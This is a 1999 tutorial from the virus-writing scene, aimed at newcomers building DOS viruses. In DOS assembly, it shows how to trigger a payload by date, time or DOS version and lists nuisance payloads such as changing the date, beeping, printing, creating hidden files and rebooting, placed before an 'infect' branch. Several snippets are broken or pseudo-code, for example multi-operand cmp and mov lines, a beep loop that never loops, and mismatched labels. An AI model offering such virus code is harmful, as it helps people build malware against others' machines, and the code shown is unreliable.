Small Payload Tutorial
(c) '99 by Acid Bytes
acidbytez@gmx.net

Hiya VirusWriters,

well that's my first little tutorial. It's written for newbies. Advanced virus writers won't find anything new here-->so get outta here if beeing advanced ;) Tracing trough various VX zines and trough VDAT i realized there are not many payload orientated tutorials available, so i just thought to myself: "Acid, gotta write one now!". I will try to explain some payload-techniques in this small tut and that maybe gives you some starting help for your own creations.
This tutorial is leaned on at the payload-part of "Virus "Add-Ons"" by Opic [CodeBreakers].

In most cases you want your payload getting started at a very special point of time. That can be a year, a month, a day or even a second. To make that possible, you 'll have to put a "date-checking-routine" into your virus. I works this way:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
date_checking:
mov ah,2ah                 ;gets system date
int 21h                    ;go!
cmp cx,dh,dl,al            ;cx=year(1980-2099),dh=month,dl=day,al=day of the week
                           ;the number must be in HEX!
je/jne                     ;jump if equal/not equal (for other jump instructions read below)
                           
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

The "mov ah,2ah"-function gets the current set system date. It then returns in following registers:

	   CX   - is the year (can be 1980 until 2099)
	   DH   - is the month (1-12)
	   DL   - is the day of month (1-31)
	   AL   - is the day of the week (1h=monday,2h=tuesday,3h=wednesday...)

You will have to compare the returned date in the register to the "payload-wanted" one. One important thing is, that you put the date in HEX, Opic forgot to say that in his tut, so his example with the "15th of every month" doesn't work. Here is my example: To get a payload running only at every friday the 21st use this:

mov ah,2ah                 ;gets system date
int 21h                    ;go!
cmp al,005h                ;check if it's friday
jne infect                 ;jump to infect if not friday
cmp dh,15h                 ;check if it's the 21st (21 is 15 in hex)
jne infect                 ;jump to infect if not the 21st
payload:
....
infect:

Pretty easy, huh? It's nearly the same with hours,minutes and seconds:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
mov ah,2Ch                 ;check time function 
int 21h                    ;do it!
cmp al,cl,dh...            ;AL=hour,CL=minutes,DH=seconds,
JE/JNE                     ;then use JMPs to activate payload
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()// 

The ammount of different jump-possibilities gives you much more possibilities than you might think. I have listed them here:

JUMP INSTRUCTIONS:

	JNE	Jump if Not Equal	
	JE	Jump if Equal	
	JMP	Jump			
	JA	Jump if Above		
	JB	Jump if Below		
	JAE     Jump if Above or Equal
	JBE     Jump if Below or Equal
	JNA	Jump if Not Above	
	JLE	Jump if Less or Equal	
	JL	Jump if Less
	JZ      Jump if Zero
	JNZ     Jump if not Zero

There are many more jump instructions, but these are the most common ones. Another good checking routine is to make the activation of the payload depend on the DOS-version one is using. The routine is following:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
mov ax,3030h              ;get DOS version function
int 21h                   ;do!
cmp al, 00h,01h,...       ;the dos version number is returned in AL
JE/JNE                    ;use JMP's to activate payload
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

DOS Version Numbers:

00h = Version 1, 01h = Version 2, 02h = Version 3 etc.

PAYLOADS

I have listed common payloads in this part of the tutorial. Just enjoy and be inspired... To set a new date use following routine:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()// 
mov ah,2bh          ;set system date function
mov cx,dh,dl,al     ;put your date here (see above for whats cx,dh....)
int 21h             ;go!
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()// 

A funny routine, if even old routine is to beep the pc-speaker. Here is it:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
pc_speaker_beep_routine:
mov cx, 50                 ;put the number of beeps in CX
mov ax, 0e07h              ;initialize the speaker...
int 10h                    ;do it!
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

I don't have to explain this one,right? One of the most used is the "show msg on screen"-payload:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
show_message_on_screen:
mov ah,9h                  ;show-text-on-screen function     
lea dx, message            ;dx=declared message (e.g message db 'Hello',10,13,'$')
int 21h                    ;do it!
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

The next payload is pretty interesting, too. It prints something on the printer:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
mov ah,01h         ;printer-function
mov dx,0h          ;put 0h in dx
int 17h            ;this interrupt initializes the priner
lea si,text1       ;puts text1 to si
mov cx,text1Len    ;move text1len to cx
 PrintStr:
mov ah,00h         ;write characters
lodsb              ;loads stringoperand in akkumulator
int 17h            ;printer interrupt
loop PrintStr      ;loops printstr until
    
text1Len        EQU EndStr1-String1
text1     db  'Gotta print it!',0dh,0ah,'$'
               
EndStr1:
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

That's nice, isn't it? K,how about creating something new on your hd? Creating directories is bitch easy:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
create_directory:
mov ah,39h                 ;create-new-directory function
lea dx, dirname1           ;dx=name of directory (e.g dirname1 db 'DOS',0)
int 21h                    ;do!
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

You got 8 chars max. for creating a directory as you should already know. Creating a file is not more difficult than creating directories:

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//
create_new_file:
mov ah,5bh                 ;create new file function (it also opens it)
lea dx, filename           ;put filename in dx (e.g filename db 'hello.txt',0)
mov cx, 00h                ;put file attribute in cx
int 21h                    ;do it!
close_file:                ;you have to close the file after creating/opening
mov ah,3eh                 ;close file function
int 21h                    ;do it!
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()//

As commented in the routine you have to put a file attribute in cx. I have listed them here:

FILE ATTRIBUTES:

Read Only:    01h
Hidden:       02h
System File:  04h
Volume ID:    08h
Directory:    10h
Archive:      20h
none:         00h

If you are interested in more "agressive" payloads, you are not right here. Like Opic,I won't show code for trashing harddisks. You can imagine my opinion in detructive payloads. A good anoying payload which is not destructive is just to reboot the system. Call the Int 19h instead of passing control to DOS back (Int 20h).

I hope you got the idea. This is just a small tutorial with the most common payload ideas. You can study Ralph Brown's interrupt list for creating own ideas. Remember, it are mostly the payloads which make your virus unique....

Acid Bytes